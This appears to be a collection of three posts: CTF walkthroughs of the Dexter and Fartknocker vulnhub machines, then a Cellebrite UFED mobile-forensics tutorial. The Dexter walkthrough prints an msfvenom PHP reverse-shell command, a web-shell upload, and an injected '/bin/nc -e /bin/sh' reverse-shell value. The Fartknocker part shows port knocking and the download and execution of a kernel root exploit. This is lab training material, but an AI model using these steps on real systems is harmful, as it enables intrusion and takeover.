Hack the Bot challenge: Dexter (Boot2Root Challenge)

Hi friends! Today we are going to face Bot challenge in new VM machine of vulnhub design by Mr. Brian Wallace. In this tutorial you will how to access root privilege by generating malicious bot. you can download this challenge from here.

Let’s start!!!
Open the terminal of Klai Linux to Identify the target in your network using netdiscover command.
Netdiscover

From screenshot you can see the highlighted target IP : 192.168.1.105


Enumerate open port of targeted IP using nmap therefore type following command:
nmap -p- -Pn 192.168.1.105
From its scanning result we come to know that port 22, 80, 111, 55844 are open ports.


Seeing as port 80 is open I come across towards browser and look at target IP 192.168.1.105. Here the web page was pointing out towards two more different links “Panel” and “Dexter Analysis for a different botnet”.
When I visit to second link it was redirected to another web site and I found this link is not for our use but when I click on “panel” this linked me to a login page.


So now I was at login page and I have no idea for its username: password here I also try sql login form injection but couldn’t breach this login page.


Now next I choose dirbuster for directory brute force attack to step forward in expectation to get some directories inside it.


From screenshot you can perceive the files and directories which I found through brute force attack. Next we need to explore these directories in browser so that we can find our any clue to breach login page.


I start with upload.php where we can upload our malicious file or backdoor as you can see from screenshot I try to upload hacked.php file but nothing happened. Then I try to explore another directory but unable to find any clue regarding this task.

When I investigate more, then after wasting much I found apart from all directories only gateway.php was suffering from blind SQL injection vulnerable but here the post parameter was encoded with base 64.


Now attacker has two options either configure sqlmap to retrieve credential or download relevant exploit Dexter Casino Loader SQL Injection given by Brian Wallace. I had use this exploit to find out login credential. You can download it from here.


Once you have downloaded it then type following command in terminal:
Now you will get login credential for bot panel.


Then I typed above fetched username and password into login form.


The panel has three basic features; bot control, dump viewer, and file upload.  Without wasting time I click on upload options.


Now again I will try to upload php backdoor so that we get reverse connection of target system.


Now use msfvenom to generate malicious PHP script and type following command.

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw

From screenshot you can read the generated PHP script, at this instant we need to copy the text highlighted text further we will past it inside text document and saved with shell.php and multi handler inside metasploit.


Now go back to upload directory and upload shell.php now you can see from given image the shell.php file is successfully upload inside /panel/exes.


Here we are going to execute shell.php which gives reverse connection in metasploit framework.
192.168.1.105/panel/exes


Awesome! We have victim’s metrepreter session
Metrepreter > ls
Metrepreter > cd var/www
Metrepreter > ls
Inside /var/www I found my bot file antitamper.list, now first we will download it
Metrepreter >download antitamper.list   /root/Desktop


Here you can read the downloaded file then add you malicious bot inside it


Now I have add my malicious bot  then upload it again inside /var/www and  start netcat for reverse connection then run antitamper.py
"shell": "'; /bin/nc -e /bin/sh 192.168.1.104 4444 #",


Nc –nlvp 4444
id
Hurray!!! We have got root connection.

Hack the Fartknocker VM (CTF Challenge)

Top HatSec built a VM image “Fart knocker” and kept the challenge to capture the flag in his machine. This VM box is mainly design for testing your network penetration skills, before solving this challenge you must know about network packet analysis and port knocking.

 Let’s begin!


Scan your network using netdiscover command I found an IP address 192.168.1.25 in my network.


Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- A 192.168.1.25
So here I found only single port 80 is open


Since port 80 is open I look toward browser and explore target ip 192.168.1.25, here I got a Link “Woah” without wasting time I just clicked on it.


Link Woah contains a pcap1.pcap file; I download it to find out some clue.


This file open with wireshark here I distinguish that VM box trying to connect over TCP ports 7000, 8000, and 9000. Behind the machine efforts on those 3 ports it gets discarded and some obstructed attempts on a connection RST, ACK; when I dig out more I found this technique is known as port knocking.
Port 7000 is used for connection but rejected.

Port 8000 is used for connection but rejected.


Port 9000 is used for connection but rejected.


Now send packets to 7000, 8000, 9000 so that these ports sequence will open another port. Therefore type following command for nmap to perform a Sequential Port Scan.
nmap -r -p 7000, 8000, 9000 192.168.1.25


Once again scan target machine using aggressive scan.
Nmap –p- A 192.168.1.25
Great!  Here we can see 8888 is open now and from screenshot you read a new directory /burgerworld/



Then I run towards browser to explore 192.168.1.25/burgerworld/ this time again I found another link heheh..hehh that contains one more pcap file again I download that pcap2.pcap file.


Now the game is very clear Top HatSec had involve port knowing at each step, again I opened pcap2 file with wireshark but this time I didn’t found any port knocking sequence therefore I randomly select a packet to follow it TCP stream.  Here you can select any packet make right click on it and choose follow option.


TCP stream captured the following image point towards another clue through CAN YOU UNDERSTAND MY MESSAGE!
Hush! His message was in German language!  


When I translate it I got one three three seven. This port 1337 could be another knocking port.


Again type following command for nmap to perform a Sequential Port Scan.
Nmap -r -p 1337 192.168.1.25
Oooh!!! It is showing waste service means perform a Sequential Port Scan fail to knock 1337.


Use another way “netcat” to knock port 1337:
Nc –nv 192.168.1.25 1337
But connection refused now try single port number.
 Nc –nv 192.168.1.25 1
Nc –nv 192.168.1.25 3
Nc –nv 192.168.1.25 3
Nc –nv 192.168.1.25 7
Finally port 1337 get opened which points towards /iamcornholio/


Explore 192.168.1.25/iamcornholio/
This time I found a base 64 encode string which should to be decoded so that we can move forward.

I took the help of burp suite to decode this string “T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK” and what I found was quite interesting.
Open up SSH: 8888 9999 7777 6666


Again Use “netcat” to knock following port:
Nc –nv 192.168.1.25 8888
Nc –nv 192.168.1.25 9999
Nc –nv 192.168.1.25 7777
Nc –nv 192.168.1.25 6666

From screenshot you can I have use version scan for target.
Nmap –SV 192.168.1.25
Awesome port 22 is opened for SSH


Now try to connect with target through ssh –l butthead 192.168.1.25 /bin/bash
Here I got successfully login now type following command
Ls
Uname –a
I Found kernel version 3.13.0 now let’s find out whether there is any exploit related to its present or not.

With the help of Google I found an exploit from screenshot you can see the link for “ofs 32” click on it to download this exploit that allow a local user to take administration privilege.


Now type following command to download ofs 32 inside victim’s system and then achieve root privileges to capture the flag.
Wget https://www.kernel-exploit.com/media/ofs_32
Ls
./ofs_32


Id
Cd /root
Ls
Cat secretz
SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"
!!This was very curies and most challenging machine!!

Mobile Forensics Investigation using Cellebrite UFED

The manifold increase in the mobile penetration amongst the world population has interested people from all works of life namely mobile manufactures, service providers, application developers and more to this industry. Thequantum jump inthe user base and its usage of mobile has even caught the eye of Forensic Experts.



In this article we will conduct a mobile investigation of ONE Plus mobile model by applying Cellebrite UFED software.
As a preliminary process, adjustments need to be undertaken on the mobile model under surveillance. The investigator attaches the mobile to his/her laptop through the phone cable.The investigator needs to open the ‘About Phone’ section under Setting and scroll down the various options till he reaches the ‘Build Option’, he needs to tap the ‘Build Option’ seven (7) times which opens a new section - the ‘Developer Option’. Before commencing Cellebrite software, the investigator must check whether the mobile commands ‘Stay Awake’ and Debugging (USB debugging) are ON.


After completing the following steps, the investigator inserts the licensed Cellebrite USB Key in the laptop which displays five choices namely- Mobile device, SIM Card, USB device or Memory Card, UFED Camera and Device Tool.
We choose ONE Plus mobile model to demonstrate the Cellebrite software. After configuration the software on the laptop, the software displayed seven ONE Plus models to select our model.


Since our mobile is ONE Plus 3 A3003 model, we put it for the forensic investigation. In order to gather information, the Cellebrite software provided us with five ‘Extraction’ choices ranging from Logical Extraction, File System Extraction, Physical Extraction (Root), Capture Images, Capture Screen Shots which are easy to understand and implement.
It is recommended that the investigator must click on Logical Extraction followed by Physical Extraction to gather information.


For our demonstration, we selected the Logical Extraction and selected three types of information from the Phone Memory likePhone (Phone Book), SIM (Phone Book) and Phone (Content) and press Next.


The Logical Extraction gave a further choice to select the type of information from the Phone Memory namely Contacts, SMS, MMS, Calendar, Apps Data, Pictures, Audio/Music, Videos, Ringtones and Call Logs. 


The software sends a ‘pop up’ message and in order to move further the investigator needs to click on YES. 



From the Contacts account we extracted contacts from Gmail, Face book messenger and Whatsapp as displayed below.


The Cellebrite software provides the investigator with source instructions to proceed further on the case by just clicking on the ‘How to?’


The Logical Phone Extraction was completed successfully. The details of the number of information gathered from Phonebook, SMS, and Call Logs from the mobile under forensic investigation is highlighted.


The software displays another pop up ‘PA Evidence Collection.ufdx’ along with the Logical 01 folder for the investigator


The UFED Physical Analyzer report of the mobile phone was captured by Cellebrite. The analyser  captured content of the mobile model information ranging from the model name, IMEI, ICCID, MSISDN, IMSI  to name a few.


Before making the final report, a case management form needs to be filled up by the investigator which provides –the case number, name, evidence number, examiner name, department, location, notes, name of the report, document details, project name as well as format. The report will be submitted in PDF or word or any other format. The final report is generated by pressing Next command.


Summary of the Cellebrite UFED report on mobile under forensic investigation.